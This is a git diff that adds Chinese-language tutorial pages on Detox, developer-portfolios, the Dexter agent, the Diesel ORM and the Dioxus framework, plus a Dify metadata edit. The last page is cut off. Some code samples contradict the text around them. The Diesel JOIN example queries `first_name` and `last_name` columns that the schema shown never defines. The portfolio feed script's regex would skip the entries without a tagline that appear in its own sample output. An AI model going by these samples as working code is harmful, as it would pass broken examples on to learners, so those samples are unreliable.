+| 适用 | 纯 RN、要稳 | 快速铺关键路径 | 混合技术栈 |
+
+务实组合：**Maestro 先盖住冒烟路径，Detox 守住登录/支付等复杂异步流**——不少团队在 2026 年采用这种双层策略。
+
+## 常见坑与排错
+
+1. **找不到元素**：八成是 `testID` 没设或设在了错误的包装组件上——用 Xcode Accessibility Inspector / Android Layout Inspector 核对
+2. **build 命令路径不对**：`binaryPath` 必须指向真实产物；改 scheme 名后要同步 `.detoxrc.js`
+3. **Metro 端口**：Android debug 常需 `reversePorts: [8081]`，否则应用连不上打包服务
+4. **Expo**：裸工作流或 prebuild 后接入 Detox 最顺；纯托管工作流往往改走 Maestro 或官方 `expo-dev-client` + 自定义 native build
+5. **WebView / 系统弹窗**：Detox 专注应用内 UI，系统权限框、跨应用跳转能力有限——这类场景要单独评估或换工具
+
+## 和本仓库其他条目的关系
+
+- **Expo**：开发构建与 OTA；Detox 负责 **装包后的行为验证**
+- **Playwright**：Web 端 E2E；Detox 是移动端 RN 侧的对位工具
+- **fastlane**：负责签名与上架；可在 lane 里调用 `detox test` 做发版前门禁
+
+## 小结
+
+Detox 的价值不在于「能点按钮」——黑盒工具也能——而在于 **与 React Native 运行时共呼吸的同步模型**，把 E2E 从 `sleep` 赌博变成可预期的自动化。代价是 **仅限 RN、配置重、要学原生构建**。若你的产品是 RN 且 CI 上flake 已经折磨 QA，花一天把 `.detoxrc.js` 和第一条登录测试跑通，通常比反复人肉回归划算得多。
+
+下一步阅读：官方 [Getting Started](https://wix.github.io/Detox/docs/introduction/getting-started) → [How Detox Works](https://wix.github.io/Detox/docs/articles/how-detox-works)（理解 idle 检测）→ 在 `e2e/` 为你最核心的用户路径写一条测试。
diff --git a/src/content/docs/projects/developer-portfolios.md b/src/content/docs/projects/developer-portfolios.md
new file mode 100644
index 000000000..662a6c463
--- /dev/null
+++ b/src/content/docs/projects/developer-portfolios.md
@@ -0,0 +1,176 @@
+---
+title: developer-portfolios — 24000+ 开发者的"求职作品集目录"
+来源: https://github.com/emmabostian/developer-portfolios
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**developer-portfolios** 是一个纯文本目录型仓库：里面没有代码项目、没有应用框架，只有一份按字母 A-Z 排列的 Markdown 列表，收录了全球开发者的个人作品集网站链接，目前已经超过 24,000 条。
+
+日常类比：想象一个"开发者作品集的 IMDb"——你想知道某个领域的人怎么做网站、找灵感，直接打开这个目录，按首字母翻就行。它不像一个产品，更像一张"活的地图"，记录着全球开发者愿意公开展示自己的位置。
+
+这个仓库由 Emma Bostian 创建，灵感来自 Twitter 上的一条推文，鼓励大家公开自己的 portfolio 页面。任何人可以通过提交 Pull Request（PR）把自己的作品加进去。
+
+## 仓库结构
+
+仓库本身极其轻量：
+
+```
+developer-portfolios/
+├── README.md          ← 主体：A-Z 字母索引的链接列表
+├── feed.json          ← 自动生成：所有条目的结构化 JSON
+├── CONTRIBUTING.md    ← 贡献指南（如何提交 PR）
+├── FEED_JSON.md       ← feed.json 的格式说明
+├── run_tests.py       ← 链接健康检查脚本
+├── src/               ← 处理脚本（字母排序、feed 生成）
+├── tests/             ← 测试代码
+├── assets/            ← 原始推文截图
+└── .github/           ← 自动化工作流（每周链接检查）
+```
+
+## 核心概念
+
+### 概念一：目录型仓库（Directory-style Repo）
+
+和大多数代码仓库不同，这个仓库的**核心资产不是代码**，而是一份按字母顺序组织的数据列表。README.md 本身就是数据文件——每一行代表一条记录。
+
+这种模式的价值在于**零门槛参与**：你不需要编译、不需要部署、不需要理解任何框架，只要会写一行 Markdown 链接就能贡献。
+
+```markdown
+# 一条记录的格式
+- [姓名](作品集链接) [职位/专长]
+
+# 实际例子
+- [Brittany Chiang](https://brittanychiang.com)
+- [Chris Coyier](https://chriscoyier.net) [Co-Founder Of Codepen]
+```
+
+### 概念二：自动化治理（Automated Governance）
+
+24,000+ 条链接手动维护是不可能的，所以仓库建立了几道自动化防线：
+
+1. **字母排序**：`src/alphabetical.py` 脚本自动把新条目排到正确位置
+2. **链接健康检查**：每周六自动运行 `run_tests.py`，检测死链并标记
+3. **结构化数据同步**：`feed.json` 自动从 README 提取，供第三方使用
+
+看 `run_tests.py` 里的链接检查逻辑：
+
+```python
+import urllib.request
+import json
+
+# 读取 feed.json，检查每个链接是否存活
+with open("feed.json", "r") as f:
+    portfolios = json.load(f)
+
+broken_links = []
+for entry in portfolios:
+    url = entry["url"]
+    try:
+        request = urllib.request.Request(url, method="HEAD")
+        response = urllib.request.urlopen(request, timeout=5)
+        if response.status != 200:
+            broken_links.append(entry["name"])
+    except Exception as e:
+        broken_links.append(entry["name"])
+
+if broken_links:
+    print(f"Found {len(broken_links)} broken links:")
+    for name in broken_links:
+        print(f"  - {name}")
+else:
+    print("All links are healthy! ✅")
+```
+
+### 概念三：feed.json——从 Markdown 到结构化数据
+
+README.md 是人类阅读的，`feed.json` 是机器读的。脚本 `src/generate_feed.py` 解析 Markdown 链接，提取出结构化的 JSON：
+
+```python
+import re
+import json
+
+# 从 README.md 解析所有 portfolio 条目
+with open("README.md", "r", encoding="utf-8") as f:
+    content = f.read()
+
+# 用正则匹配 Markdown 链接格式
+# 匹配模式: - [姓名](链接) [可选标签]
+pattern = r"- \[([^\]]+)\]\(([^)]+)\)\s*\[([^\]]*)\]"
+matches = re.findall(pattern, content)
+
+portfolios = []
+for name, url, tagline in matches:
+    entry = {"name": name, "url": url}
+    if tagline.strip():
+        entry["tagline"] = tagline.strip()
+    portfolios.append(entry)
+
+# 写入 feed.json
+with open("feed.json", "w", encoding="utf-8") as f:
+    json.dump(portfolios, f, indent=2, ensure_ascii=False)
+
+print(f"Generated {len(portfolios)} portfolio entries")
+```
+
+生成的 `feed.json` 结构：
+
+```json
+[
+  {
+    "name": "Brittany Chiang",
+    "url": "https://brittanychiang.com"
+  },
+  {
+    "name": "Chris Coyier",
+    "url": "https://chriscoyier.net",
+    "tagline": "Co-Founder Of Codepen"
+  }
+]
+```
+
+有了结构化数据，第三方就可以做很多事情——按职位过滤、做搜索、做统计。仓库还专门提供了一个演示网站：https://6e87v.hatchboxapp.com
+
+## 为什么重要
+
+对零基础学习者来说，这个仓库至少有三层价值：
+
+### 第一层：找灵感
+
+想建个人作品集但不知道从何开始？这个目录里 24,000+ 个真实作品是最好的参考。你可以按字母翻、可以用随机按钮（https://s111ew.github.io/random-button-redirector），能看到不同级别开发者的呈现方式。
+
+### 第二层：学 Git 协作
+
+这个仓库是学习 GitHub PR 流程的**教科书级案例**。它的 CONTRIBUTING.md 写得极其详细：Fork → Clone → 分支 → 修改 → PR，每一步都有命令。24,000+ 条贡献者通过这条路径完成过第一次 PR，社区对新手非常友好。
+
+### 第三层：理解"数据即产品"
+
+一个没有服务器、没有前端、没有 API 的仓库，靠一份 Markdown 和自动化工具，积累了 24,000+ 贡献者和 24,000+ Star。这说明了**好的数据结构和自动化**可以让一个极简仓库产生巨大的影响力。
+
+## 关键数字
+
+| 指标 | 数值 |
+|------|------|
+| Star 数 | 24,000+ |
+| Fork 数 | 4,700+ |
+| 收录条目 | 24,000+（持续增长） |
+| 提交次数 | 6,100+ |
+| 自动化链接检查 | 每周六运行 |
+
+## 延伸学习
+
+想进一步探索，可以从这几个方向入手：
+
+- **学 Markdown 解析**：研究 `src/alphabetical.py` 和 `src/generate_feed.py` 的实现
+- **学 GitHub Actions**：看 `.github/workflows/` 目录，了解自动化链接检查怎么配置
+- **学数据提取**：用 Python 或 JavaScript 写一个自己的 README 解析器
+- **学 PR 流程**：跟着 CONTRIBUTING.md 提交一次你自己的 portfolio
+
+## 小结
+
+developer-portfolios 展示了开源社区最简单也最强大的模式：**一份数据 + 一套规则 + 自动化治理 = 一个持续增长的公共资源**。它不需要复杂的架构，但它教会了你做项目最重要的三件事：降低参与门槛、建立自动化流程、让数据自己说话。
diff --git a/src/content/docs/projects/dexter.md b/src/content/docs/projects/dexter.md
new file mode 100644
index 000000000..e67c98acb
--- /dev/null
+++ b/src/content/docs/projects/dexter.md
@@ -0,0 +1,318 @@
+---
+title: Dexter — 自主金融研究 AI Agent
+来源: https://github.com/virattt/dexter
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 一句话介绍
+
+Dexter 是一个自主运行的金融研究助手。你只需要用自然语言问一个问题，它就能自己规划研究步骤、调取实时市场数据、检查结果对不对，最后给你一份有据可查的研究结论。
+
+GitHub 上 27k star，2026 年 6 月还在频繁更新。
+
+## 一个日常类比：你的私人金融分析师
+
+想象一下，你雇了一位金融分析师。你告诉他："帮我分析一下苹果公司的财务状况。"
+
+传统方式：他需要自己一步步来——打开财报网站查收入、看资产负债表、算增长率、对比历年数据，最后写报告。每一步都要你盯着或者等很久。
+
+Dexter 的方式：它像一个带着完整工具箱的分析师。你一句话后，它会：
+
+1. **拆解任务**：把"分析苹果"分解为查收入、看利润、分析现金流等子步骤
+2. **并行执行**：同时去做多个不需要互相依赖的查询
+3. **自我检查**：拿到数据后自己判断"够了吗？对不对？"
+4. **调整策略**：如果数据不够好，换个方向继续查
+5. **交付报告**：整理成一份结构清晰的研究报告
+
+它和 Claude Code 类似，但 Claude Code 是通用代码助手，而 Dexter 只专注于金融研究。
+
+## 核心技术概念
+
+### 1. Agent Loop（智能体循环）
+
+这是 Dexter 的大脑核心。每次你提问，Dexter 会进入一个循环：
+
+```
+提问 → 让 AI 思考 → 调用工具获取数据 → 把数据返回给 AI → AI 判断是否需要更多数据 → 循环或给出结论
+```
+
+这个循环最多运行 10 次（可配置），防止 AI 陷入死循环。
+
+### 2. Tool（工具系统）
+
+Dexter 不凭空回答问题。它有一系列"工具"可以调用：
+
+| 工具 | 作用 |
+|------|------|
+| `get_income_statements` | 获取利润表（收入、成本、利润） |
+| `get_balance_sheet` | 获取资产负债表（资产、负债、权益） |
+| `get_cash_flow` | 获取现金流量表 |
+| `get_market_data` | 获取实时股票价格和市场数据 |
+| `stock_screener` | 筛选符合条件的股票 |
+| `web_search` | 通过 Exa/Tavily 搜索网页信息 |
+| `memory_search` | 搜索 Dexter 之前学到的知识 |
+
+### 3. Scratchpad（scratchpad 草稿本）
+
+Dexter 每做一步都会在 `.dexter/scratchpad/` 下记录日志。你可以把它理解为分析师的工作笔记——每一步查了什么数据、用了什么理由、得到了什么结果，全部用 JSON 格式记录下来。
+
+```
+.dexter/scratchpad/
+  2026-01-30-111400_9a8f10723f79.jsonl
+```
+
+每条记录包含：
+- `init`：原始问题
+- `tool_result`：工具调用和返回结果
+- `thinking`：AI 的思考过程
+
+### 4. 上下文管理（Context Management）
+
+当对话太长、超出 AI 的记忆容量时，Dexter 会自动处理：
+
+- **Microcompact**：每轮开始前，精简 AI 之前的思考内容，只保留最近 2 轮
+- **Compaction**：超过令牌阈值时，用 AI 把旧对话总结成摘要
+- **Fallback truncate**：实在处理不了时，删掉最老的几轮对话
+
+### 5. 流式输出（Streaming）
+
+Dexter 回答时会实时显示进展。你会看到：
+
+- `thinking`：AI 正在想什么
+- `tool-input`：准备调用哪个工具
+- `tool-use`：工具正在运行
+- `responding`：正在生成回答
+
+## 安装和运行
+
+### 前置要求
+
+- Bun 运行时（v1.0+）：`curl -fsSL https://bun.com/install | bash`
+- OpenAI API Key
+- Financial Datasets API Key
+- Exa API Key（可选，用于网页搜索）
+
+### 安装步骤
+
+```bash
+git clone https://github.com/virattt/dexter.git
+cd dexter
+bun install
+cp env.example .env
+```
+
+然后编辑 `.env` 文件，填入你的 API Key：
+
+```bash
+OPENAI_API_KEY=sk-xxxxx
+FINANCIAL_DATASETS_API_KEY=your-key
+EXASEARCH_API_KEY=your-key
+```
+
+### 运行
+
+```bash
+# 交互模式
+bun start
+
+# 开发模式（文件变更自动重启）
+bun dev
+```
+
+## 代码示例
+
+### 示例 1：Agent 主循环的核心逻辑
+
+这是 Dexter 最核心的部分——让 AI 自动思考和执行的循环。你可以看到它是如何一步步推进的：
+
+```typescript
+// Agent 主循环 (src/agent/agent.ts)
+async *run(query: string, inMemoryHistory?: InMemoryChatHistory): AsyncGenerator<AgentEvent> {
+  // 构建初始消息数组：系统提示 + 历史对话 + 用户问题
+  const historyMessages = inMemoryHistory?.getRecentTurnsAsMessages() ?? [];
+  let messages: BaseMessage[] = [
+    new SystemMessage(this.systemPrompt),    // 系统提示
+    ...historyMessages,                       // 之前的对话
+    new HumanMessage(query),                  // 用户的问题
+  ];
+
+  // 主循环：最多运行 maxIterations 次
+  while (ctx.iteration < this.maxIterations) {
+    ctx.iteration++;
+
+    // 1. 微调消息：精简过旧的思考过程
+    const mcResult = microcompactMessages(messages);
+    if (mcResult.trigger) {
+      messages = mcResult.messages;
+    }
+
+    // 2. 调用 AI 模型（先尝试流式，失败后回退到阻塞）
+    const result = yield* this.callModelWithStreaming(messages);
+    const response = result.response;
+
+    // 3. 如果 AI 没有调用工具 → 直接给出答案，循环结束
+    if (!hasToolCalls(response)) {
+      yield* this.handleDirectResponse(extractTextContent(response), ctx);
+      return;
+    }
+
+    // 4. 把 AI 的回答加入历史
+    messages.push(response);
+
+    // 5. 并发执行所有工具调用
+    let { toolMessages } = yield* this.executeToolsAndCollectMessages(response, ctx);
+
+    // 6. 把工具结果加入对话历史，AI 继续下一轮思考
+    messages.push(...toolMessages);
+
+    // 7. 管理上下文大小，防止超出令牌限制
+    yield* this.manageContextThreshold(ctx, query, messageState);
+  }
+
+  // 超出最大迭代次数
+  yield {
+    type: 'done',
+    answer: `已达最大迭代次数 (${this.maxIterations})，无法完成研究。`,
+  };
+}
+```
+
+**逐行解读：**
+
+1. 先把系统提示（告诉 AI 它的身份和规则）、之前的对话、以及你的问题装进一个 `messages` 数组
+2. 每轮开始前调用 `microcompactMessages`——如果 AI 之前想太多了，就把过久的思考精简掉，只留最近的
+3. 把整个消息数组发给 AI 模型（如 GPT-5.5），AI 会返回两种内容：要么是文字回答，要么是工具调用指令
+4. 如果 AI 没有调用任何工具，说明它认为自己已经够了，直接输出最终答案
+5. 如果调用了工具（比如 `get_income_statements`），就并发执行这些工具，把所有结果收集回来
+6. 把工具的结果也放进 `messages`，AI 拿到数据后进入下一轮思考
+7. 每轮都检查上下文大小，太长了就自动压缩，防止超出 token 限制
+8. 最多循环 10 次，到次数就停
+
+### 示例 2：工具执行器——并发调度和结果收集
+
+Dexter 可以同时执行多个工具。这个示例展示了它是如何安全、有序地调度工具的：
+
+```typescript
+// 工具执行和消息收集 (src/agent/agent.ts)
+private async *executeToolsAndCollectMessages(response: AIMessage, ctx: RunContext) {
+  const toolMessageMap = new Map<string, ToolMessage>();
+  let denied = false;
+  const toolCalls = response.tool_calls!;
+
+  // 遍历每一个工具调用事件
+  for await (const event of this.toolExecutor.executeAll(response, ctx)) {
+    yield event;  // 把进展事件发出去（让用户实时看到进度）
+
+    if (event.type === 'tool_end' && event.toolCallId) {
+      // 工具执行成功 → 创建 ToolMessage 记录结果
+      toolMessageMap.set(event.toolCallId, new ToolMessage({
+        content: event.result,
+        tool_call_id: event.toolCallId,
+        name: event.tool,
+      }));
+    } else if (event.type === 'tool_error' && event.toolCallId) {
+      // 工具执行出错 → 记录错误信息
+      toolMessageMap.set(event.toolCallId, new ToolMessage({
+        content: `Error: ${event.error}`,
+        tool_call_id: event.toolCallId,
+        name: event.tool,
+      }));
+    } else if (event.type === 'tool_denied' && event.toolCallId) {
+      // 用户拒绝了这个工具调用
+      toolMessageMap.set(event.toolCallId, new ToolMessage({
+        content: 'Tool execution denied by user.',
+        tool_call_id: event.toolCallId,
+        name: event.tool,
+      }));
+      denied = true;
+    }
+  }
+
+  // 按照工具调用原始顺序排列结果
+  // 这样 AI 拿到消息时，顺序和它调用时一致
+  const toolMessages: ToolMessage[] = toolCalls.map(tc =>
+    toolMessageMap.get(tc.id!) ?? new ToolMessage({
+      content: 'Skipped (already executed).',
+      tool_call_id: tc.id!,
+      name: tc.name,
+    }),
+  );
+
+  return { toolMessages, denied };
+}
+```
+
+**关键点：**
+
+- `tool_call_id` 是每个工具调用的唯一 ID，像快递单号一样，确保返回结果时能找到对应的工具
+- 工具执行是**并发**的——多个工具同时跑，哪个先完成哪个先返回
+- 但最终 `toolMessages` 按照**原始调用顺序**排列，因为 AI 对顺序很敏感
+- 如果用户中途按 ESC 中断，或者主动拒绝某个工具，`denied` 会被设为 true，循环终止
+
+### 示例 3：实际使用时的对话流程
+
+以下是你启动 Dexter 后可能的实际对话过程：
+
+```
+$ bun start
+
+Dexter > 分析一下英伟达的财务状况
+
+[thinking] 我需要查看 NVDA 最近的财报数据，包括收入、利润和现金流...
+[tool_start: get_income_statements, ticker: "NVDA", period: "annual", limit: 5]
+[tool_start: get_balance_sheet, ticker: "NVDA", period: "annual", limit: 5]
+[tool_start: get_market_data, ticker: "NVDA"]
+[tool_end: get_market_data ✓ 0.8s]  → 获取了 NVDA 当前股价 $137.71
+[tool_end: get_income_statements ✓ 1.2s]  → 获取了 5 年收入数据
+[tool_end: get_balance_sheet ✓ 1.1s]  → 获取了 5 年资产数据
+[thinking] 收入增长强劲，从 2021 年的 $16.7B 增长到 2025 年的 $130.5B...
+[tool_start: get_cash_flow, ticker: "NVDA", period: "annual", limit: 5]
+[tool_end: get_cash_flow ✓ 0.9s]
+[done] 以下是英伟达的财务分析报告：
+...
+```
+
+整个过程中，每个步骤都写入了 `.dexter/scratchpad/` 下的日志文件，可以事后审计。
+
+## 支持的 AI 模型和提供商
+
+Dexter 不锁死在某一个 AI 模型上。你可以在 `.env` 里配置多个提供商：
+
+| 提供商 | 环境变量 | 说明 |
+|--------|---------|------|
+| OpenAI | `OPENAI_API_KEY` | 默认，使用 gpt-5.5 |
+| Anthropic | `ANTHROPIC_API_KEY` | 可选 |
+| Google | `GOOGLE_API_KEY` | 可选 |
+| XAI | `XAI_API_KEY` | 可选 |
+| OpenRouter | `OPENROUTER_API_KEY` | 可选，支持多种模型 |
+| Ollama | `OLLAMA_BASE_URL` | 本地运行，无需 API Key |
+
+运行时输入 `/model` 命令可以切换模型和提供商。
+
+## 调试：查看 Dexter 的工作过程
+
+每个查询都会在 `.dexter/scratchpad/` 生成一个 JSONL 文件：
+
+```json
+{"type":"init","query":"分析一下苹果公司的财务状况"}
+{"type":"tool_result","toolName":"get_income_statements","args":{"ticker":"AAPL","period":"annual"},"result":{"revenue":[...]},"llmSummary":"获取了苹果 5 年收入数据"}
+{"type":"thinking","message":"收入从 2021 年的 3658 亿美元增长到 2025 年的 3943 亿美元..."}
+{"type":"done","answer":"苹果公司的财务分析如下..."}
+```
+
+这个文件就像侦探的案发现场记录——你可以精确还原 Dexter 每一步做了什么、看到了什么、想了什么。
+
+## 总结
+
+| 维度 | 说明 |
+|------|------|
+| 核心能力 | 自动拆解金融问题 → 调数据 → 自校验 → 出报告 |
+| 技术栈 | TypeScript + LangChain + Bun |
+| 最大特点 | 自主规划 + 自我反思 + 实时数据 |
+| 适用场景 | 学习金融分析流程、做投资研究参考、理解 AI Agent 如何工作 |
+| 不适合 | 直接交易决策（官方明确声明不提供投资建议） |
+
+对零基础学习者来说，Dexter 是一个理解"AI Agent 如何工作"的优秀范例——它把复杂的金融研究过程变成了一个可观察、可审计、可学习的黑盒。
diff --git a/src/content/docs/projects/diesel.md b/src/content/docs/projects/diesel.md
new file mode 100644
index 000000000..b3914c90e
--- /dev/null
+++ b/src/content/docs/projects/diesel.md
@@ -0,0 +1,229 @@
+---
+title: Diesel — Rust ORM 与查询构建器
+来源: https://github.com/diesel-rs/diesel
+日期: 2026-06-13
+分类: 编程语言
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Diesel — Rust ORM 与查询构建器
+
+## 从日常类比开始
+
+想象你有一个大柜子（数据库），里面有很多抽屉（表），抽屉里是卡片（行）。
+
+在普通 Rust 中操作数据库，就像每次要找一张卡片时，你都手写一张"SQL 命令纸条"塞给柜员——灵活但容易出错。
+
+Diesel 做的事情是：给你一套 **有形状的模具**。你必须先声明每个抽屉长什么样（列名、数据类型），之后所有操作都通过这个模具。模具会提前"检查"你的操作是否合法——拼错了列名？编译不通过！类型不对？还是编译不通过！好处是你**不需要等到程序跑起来才知道出错**。
+
+## 核心概念
+
+### 1. Schema 定义（`table!` 宏）
+
+你先用宏告诉 Diesel 数据库里有哪些表、每列是什么类型：
+
+```rust
+table! {
+    users (id) {
+        id -> Int4,
+        name -> Varchar,
+        email -> Varchar,
+        active -> Bool,
+    }
+}
+```
+
+这等同于告诉 Diesel："有个 `users` 表，主键是 `id`，有四列，各自对应 Rust 的 `i32`、`String` 等类型。"
+
+### 2. Model 结构体
+
+接下来定义对应的 Rust 结构体，用 `derive` 标记它和表的映射关系：
+
+```rust
+use diesel::prelude::*;
+
+#[derive(Queryable, Selectable)]
+#[diesel(table_name = users)]
+pub struct User {
+    pub id: i32,
+    pub name: String,
+    pub email: String,
+    pub active: bool,
+}
+```
+
+`Queryable` 表示 Diesel 能从数据库结果映射到这个结构体，`Selectable` 表示它能自动生成 `SELECT users.*` 的字段列表。
+
+### 3. 插入数据（`Insertable`）
+
+新记录需要一个特殊的结构体：
+
+```rust
+#[derive(Insertable)]
+#[diesel(table_name = users)]
+pub struct NewUser {
+    pub name: String,
+    pub email: String,
+}
+```
+
+### 4. 关系（`Associations` + `belongs_to`）
+
+如果有一个 `posts` 表，每个帖子属于一个用户：
+
+```rust
+#[derive(Identifiable, Associations, Queryable)]
+#[diesel(belongs_to(User))]
+pub struct Post {
+    pub id: i32,
+    pub user_id: i32,
+    pub title: String,
+    pub body: String,
+}
+```
+
+`belongs_to(User)` 告诉 Diesel：`Post.user_id` 外键关联 `User.id`，这样你可以方便地查"某个用户的所有帖子"。
+
+### 5. 连接与查询
+
+```rust
+use diesel::prelude::*;
+use crate::schema::users;
+use crate::models::User;
+
+fn get_active_users(conn: &mut PgConnection) -> QueryResult<Vec<User>> {
+    users::table
+        .filter(users::active.eq(true))
+        .load::<User>(conn)
+}
+```
+
+链式调用：`table` → `filter` → `load`，读起来像英语。
+
+### 6. 类型安全
+
+Diesel 的查询构建器会在**编译期**做大量检查：
+
+- 列名写错 → 编译错误
+- 类型不匹配 → 编译错误
+- 查询结果不能映射到结构体 → 编译错误
+
+这意味着很多 Bug 在 `cargo build` 阶段就被拦截了。
+
+## 完整示例
+
+### 示例一：CRUD 基本操作
+
+```rust
+use diesel::prelude::*;
+use diesel::sql_types::{Text, Bool};
+
+// 插入
+fn add_user(conn: &mut PgConnection, name: &str, email: &str) -> QueryResult<usize> {
+    diesel::insert_into(users::table)
+        .values((
+            users::name.eq(name),
+            users::email.eq(email),
+            users::active.eq(true),
+        ))
+        .execute(conn)
+}
+
+// 查询：获取所有活跃用户
+fn get_active_users(conn: &mut PgConnection) -> QueryResult<Vec<User>> {
+    users::table
+        .filter(users::active.eq(true))
+        .load::<User>(conn)
+}
+
+// 更新
+fn update_user_email(
+    conn: &mut PgConnection,
+    user_id: i32,
+    new_email: &str,
+) -> QueryResult<usize> {
+    diesel::update(users::table.filter(users::id.eq(user_id)))
+        .set(users::email.eq(new_email))
+        .execute(conn)
+}
+
+// 删除
+fn delete_user(conn: &mut PgConnection, user_id: i32) -> QueryResult<usize> {
+    diesel::delete(users::table.filter(users::id.eq(user_id)))
+        .execute(conn)
+}
+```
+
+### 示例二：复杂查询 — 带联查
+
+```rust
+use diesel::prelude::*;
+
+// 定义一个组合结构体，用于接收 JOIN 结果
+#[derive(QueryableByName)]
+#[diesel(table_name = posts)]
+pub struct PostWithAuthor {
+    pub id: i32,
+    pub title: String,
+    #[diesel(column_name = first_name)]
+    pub author_first_name: String,
+    #[diesel(column_name = last_name)]
+    pub author_last_name: String,
+}
+
+// JOIN 查询
+fn get_posts_with_authors(conn: &mut PgConnection) -> QueryResult<Vec<PostWithAuthor>> {
+    posts::table
+        .inner_join(users::table)
+        .select((
+            posts::id,
+            posts::title,
+            users::first_name,
+            users::last_name,
+        ))
+        .order(posts::id.desc())
+        .load::<PostWithAuthor>(conn)
+}
+
+// 按条件筛选 + 分页
+fn get_users_by_name(
+    conn: &mut PgConnection,
+    search: &str,
+    limit: i64,
+    offset: i64,
+) -> QueryResult<Vec<User>> {
+    users::table
+        .filter(users::name.like(format!("%{}%", search)))
+        .limit(limit)
+        .offset(offset)
+        .load::<User>(conn)
+}
+```
+
+## 工作流概览
+
+```
+cargo new my_app          # 创建项目
+diesel setup              # 初始化数据库 & migrations 目录
+diesel migration create create_users   # 生成迁移文件
+diesel migration run       # 执行迁移
+diesel print-schema        # 从数据库反向生成 schema 代码
+```
+
+## 关键特性总结
+
+| 特性 | 说明 |
+|------|------|
+| 编译期查询检查 | 列名、类型、关系都在编译期验证 |
+| 查询构建器 | 链式 API，不用手写 SQL 字符串 |
+| 支持三种数据库 | PostgreSQL、MySQL、SQLite |
+| 迁移工具 | `diesel CLI` 管理 schema 版本 |
+| 零运行时开销 | 无反射，无动态查询，性能接近手写 SQL |
+| 支持 Raw SQL | 必要时可用 `sql_query()` 退回原始 SQL |
+
+## 与其他 ORM 的对比
+
+- **vs SQLx**：SQLx 更轻量，把 SQL 当字符串处理，类型安全靠 `#[derive(Queryable)]` + 宏；Diesel 的查询构建器更强大，能链式组合复杂查询。
+- **vs SeaORM**：SeaORM 是异步原生的；Diesel 传统上是同步的（但有 `diesel_async` crate 做异步支持）。
+- **vs Prisma**：Prisma 是 TypeScript 生态的；Diesel 是 Rust 原生的，类型系统深度绑定 Rust 的 `Copy` / `Send` / `Sync` 等概念。
diff --git a/src/content/docs/projects/dify.md b/src/content/docs/projects/dify.md
index 632946e52..57d485216 100644
--- a/src/content/docs/projects/dify.md
+++ b/src/content/docs/projects/dify.md
@@ -2,7 +2,7 @@
 title: Dify — LLM 应用开发平台
 来源: https://github.com/langgenius/dify
 日期: 2026-05-29
-子分类: AI
+子分类: 数据科学与 AI
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/dioxus.md b/src/content/docs/projects/dioxus.md
new file mode 100644
index 000000000..a321137fb
--- /dev/null
+++ b/src/content/docs/projects/dioxus.md
@@ -0,0 +1,274 @@
+---
+title: Dioxus — React 风格的 Rust UI 框架
+来源: https://github.com/DioxusLabs/dioxus
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+## 一、从"贴春联"说起：UI 到底是什么？
+
+想象一下，每年贴春联。
+
+传统做法（命令式）：你拿着一把刷子、一桶浆糊，跑到墙上，一笔一画地涂——"这里涂一点，那里抹一下"。如果春联贴歪了，你要撕掉重贴。
+
+React 的做法（声明式）：你先把春联在家里比划好，满意了，然后直接说"春联应该贴在这儿"。框架负责帮你撕掉旧的、贴上新的。你不用管怎么撕、怎么抹。
+
+Dioxus 也是声明式的，但它是用 **Rust** 写的。你告诉 Dioxus："界面长这样"，它负责渲染到浏览器、桌面或手机上。
+
+一句话总结：
+
+> **React 用 JSX 写 UI，Dioxus 用 RSX（Rust + JSX）写 UI。**
+
+---
+
+## 二、核心概念
+
+### 2.1 组件（Component）
+
+组件就是 UI 的基本单位——一个函数，返回"界面长什么样"。
+
+```rust
+use dioxus::prelude::*;
+
+fn App() -> Element {
+    rsx! {
+        h1 { "Hello from Dioxus!" }
+        p { "这是一个 Rust 写的网页。" }
+    }
+}
+```
+
+注意 `rsx!` 宏——它长得像 HTML，但其实是 Rust 宏。编译时会被展开成真正的 Rust 代码。
+
+### 2.2 信号（Signal）——状态管理
+
+Dioxus 用 **Signal** 管理状态。你可以把 Signal 想象成一个"带通知功能的小盒子"——当你把盒子里的东西换掉时，所有看到盒子的人会**自动更新**。
+
+```rust
+use dioxus::prelude::*;
+
+fn Counter() -> Element {
+    // use_signal 创建一个"小盒子"，初始值为 0
+    let mut count = use_signal(|| 0);
+
+    rsx! {
+        h1 { "计数：{count}" }
+        button {
+            // 点一下按钮，盒子里的数字 +1
+            onclick: move |_| count += 1,
+            "加一"
+        }
+        button {
+            onclick: move |_| count -= 1,
+            "减一"
+        }
+    }
+}
+```
+
+关键点：
+
+- `use_signal(|| 0)` 创建一个可变信号，闭包 `|| 0` 定义初始值
+- `count += 1` 修改信号，Dioxus 自动检测到变化并重新渲染受影响的 UI
+- 不需要 `useState` + `setState` 的两步操作，直接赋值就行
+
+### 2.3 条件渲染与列表
+
+`rsx!` 宏支持 `if` 和 `for` 语法糖：
+
+```rust
+fn TodoList() -> Element {
+    let mut items = use_signal(|| vec!["学 Rust".to_string(), "学 Dioxus".to_string()]);
+
+    rsx! {
+        h1 { "待办事项" }
+
+        // 条件渲染
+        if items.read().is_empty() {
+            p { "空空如也，真惬意～" }
+        } else {
+            ul {
+                for item in items.read().iter() {
+                    li { "{item}" }
+                }
+            }
+        }
+    }
+}
+```
+
+`if` 块直接写在 `rsx!` 里面，不需要 `return null`。`for` 循环遍历集合，渲染列表项。
+
+### 2.4 组件传参（Props）
+
+组件可以接收参数，用 `#[component]` 宏声明：
+
+```rust
+#[component]
+fn Greeting(name: String, age: u32) -> Element {
+    rsx! {
+        p { "你好，{name}！今年 {age} 岁。" }
+    }
+}
+
+// 使用：
+// <Greeting name="小明" age={25} />
+```
+
+参数名默认用 snake_case，但使用时用 camelCase——Dioxus 会自动转换。
+
+### 2.5 跨平台编译
+
+Dioxus 最酷的地方：同一份代码，编译到不同平台。
+
+```toml
+# Cargo.toml
+[dependencies]
+dioxus = { version = "0.7.0" }
+
+[features]
+default = ["web"]
+web = ["dioxus/web"]
+desktop = ["dioxus/desktop"]
+mobile = ["dioxus/mobile"]
+```
+
+- `dioxus/web` → 编译到浏览器（生成 WebAssembly）
+- `dioxus/desktop` → 编译到桌面应用（基于 Tauri / 原生窗口）
